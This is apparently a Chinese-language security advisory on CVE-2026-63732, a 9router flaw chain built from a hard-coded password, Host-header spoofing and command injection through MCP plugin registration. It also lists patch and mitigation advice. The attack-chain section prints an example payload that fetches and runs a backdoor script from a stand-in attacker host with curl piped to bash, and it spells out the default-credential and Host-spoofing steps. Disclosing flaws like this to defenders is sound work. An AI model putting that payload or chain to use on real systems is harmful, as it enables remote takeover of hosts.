🔴 严重 | CVE-2026-63732 — 9router 0.4.59 (fixed in 0.4.60) contains a chain ...
🔴 【深度分析】严重安全漏洞:CVE-2026-63732
CVSS 评分: 严重(9.4)🔴 状态: Deferred 发布时间: 2026-07-23
🔍 技术细节速览
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-63732 |
| CVSS 评分 | 9.4 🔴 |
| 严重程度 | 严重 |
| CVSS 向量 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
| CWE 分类 | CWE-78 |
| 发布时间 | 2026-07-23 |
| 最后更新 | 2026-07-28 |
| 状态 | Deferred |
| 数据来源 | disclosure@vulncheck.com |
CVSS 4.0 评分:9.4(严重)
向量:CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
危害等级:Critical(严重)
漏洞状态:Deferred
漏洞概述
CVE-2026-63732 是 9router 软件中一个由多个脆弱环节串联而成的严重漏洞链。攻击者利用硬编码的默认凭据(123456)即可登录任何全新安装的系统;随后通过伪造 Host 请求头绕过本地网络限制,访问本应仅允许本地访问的管理功能;最终利用未经校验的参数向 child_process.spawn() 注入恶意命令,在注册 MCP(模型上下文协议)插件时执行任意操作系统命令。该漏洞允许远程、未认证的攻击者完全控制运行 9router 的主机,实现任意代码执行(RCE)。受影响的版本为 0.4.59 及更早版本,已在 0.4.60 中修复。
受影响组件与版本
| 组件 | 受影响版本范围 | 修复版本 |
|---|---|---|
| 9router | ≤ 0.4.59 | 0.4.60 |
| 受影响功能 | 默认认证、路由访问控制、MCP 插件注册接口 | - |
漏洞原理分析
1. 硬编码默认密码(CWE-798: Use of Hard-coded Credentials)
9router 0.4.59 在初次安装后使用固定的硬编码密码 123456 作为管理凭据。该密码在所有实例中相同,且未强制要求用户在首次登录时修改。攻击者无需任何身份信息即可通过 SSH 或 Web 管理界面使用此密码完成认证,获得受限的 LOCAL_ONLY 网络权限下的用户身份。
2. Host 头部欺骗绕过本地访问控制(CWE-290: Authentication Bypass by Spoofing)
系统内部将某些关键路由(如管理员接口、MCP 插件注册端点)标记为 LOCAL_ONLY,设计上仅允许来自 127.0.0.1 或内网 IP 的请求访问。然而,代码在判断来源时仅检查 Host 请求头字段,而非真实的网络层地址(如 REMOTE_ADDR)。攻击者在 HTTP 请求中伪造 Host 值为 localhost、127.0.0.1 或内网 IP,即可绕过该限制,将远程请求伪装成本地请求,从而访问本应受保护的端点。
3. 未校验参数导致命令注入(CWE-78: Improper Neutralization of Special Elements used in an OS Command)
在 MCP 插件注册流程中,9router 调用 Node.js 的 child_process.spawn() 来执行用户提供的插件命令。根据 NVD 描述,该函数未经任何消毒或白名单检查,直接将用户控制的参数传递给 spawn。攻击者可以注册一个恶意插件,例如传入 node -e "<恶意JavaScript代码>",当服务端触发该插件的 SSE(Server-Sent Events)端点时,即会执行攻击者指定的任意系统命令。
攻击链梳理
- 获取初始访问:远程未认证攻击者使用默认密码
123456登录 9router 管理界面。 - 绕过网络限制:在后续请求中携带伪造的
Host: localhost头部,绕过LOCAL_ONLY校验,访问/admin/mcp/register等内部路由。 - 注入恶意命令:通过插件注册接口提交 payload(如
node -e 'require("child_process").execSync("curl http://attacker/backdoor.sh | bash")')。 - 触发执行:攻击者或系统触发已注册插件的 SSE 端点,导致
child_process.spawn()执行恶意命令,获得主机 OS 的控制权。
影响评估
| 评估维度 | 具体说明 |
|---|---|
| 攻击向量 (AV:N) | 远程网络攻击,无需物理接触。 |
| 攻击复杂度 (AC:L) | 无需特殊条件,仅需构造 HTTP 请求。 |
| 所需权限 (PR:L) | 需要先通过默认密码登录(实际为“未认证”变相获取低权)。 |
| 用户交互 (UI:N) | 不需要受害者操作。 |
| 机密性影响 (VC:H) | 可读取主机上所有文件、内存数据。 |
| 完整性影响 (VI:H) | 可篡改系统文件、安装后门。 |
| 可用性影响 (VA:H) | 可导致服务中断或完全控制。 |
| 利用条件 | 目标需运行 9router 0.4.59 且未修改默认密码。 |
| 潜在后果 | 完全远程代码执行,可导致数据泄露、勒索软件部署、横向移动等。 |
该漏洞链的三个环节环环相扣,任何一个环节的缺失都会降低严重性,但攻击者一旦完成全部利用,可以取得主机的最高权限。
修复建议
官方补丁
- 升级版本:立即更新至 9router 0.4.60 或更高版本,该版本已移除硬编码密码,强制首次登录修改密码;正确校验请求来源(基于真实 IP 而非 Host 头);并对插件参数进行严格的输入验证或白名单过滤。
临时缓解措施
- 更改默认密码:若无法立即升级,务必手工修改管理员密码为强密码(16位以上,混合字母数字特殊字符)。
- 限制管理接口访问:在防火墙或反向代理中,限制
/admin、/mcp等路径仅允许内网特定 IP 访问。 - 禁用 MCP 插件功能:如果不需要 MCP 插件,可临时关闭该功能(如配置文件
mcp.enabled = false)。 - 监控异常 Host 头:在 WAF 或 Nginx 层检查并拒绝包含非预期
Host头(如localhost,127.0.0.1)的请求。 - 审计日志:检查已有日志中是否存在默认密码登录记录或异常
Host头访问,以判断是否已被利用。
参考资料
- CVE 详情页:https://nvd.nist.gov/vuln/detail/CVE-2026-63732
- CWE-78:OS Command Injection - https://cwe.mitre.org/data/definitions/78.html
- CWE-798:Use of Hard-coded Credentials - https://cwe.mitre.org/data/definitions/798.html
- CWE-290:Authentication Bypass by Spoofing - https://cwe.mitre.org/data/definitions/290.html
- 9router 官方仓库:https://github.com/9router/9router (补丁版本信息)
- NVD 原始数据:NVD 漏洞公告(2026-07-23)
备注:本分析基于 NVD 提供的信息及通用漏洞知识构建,不包含未公开的技术细节。由于漏洞状态为“Deferred”,部分细节可能随后续更新而调整。建议关注官方公告及补丁更新。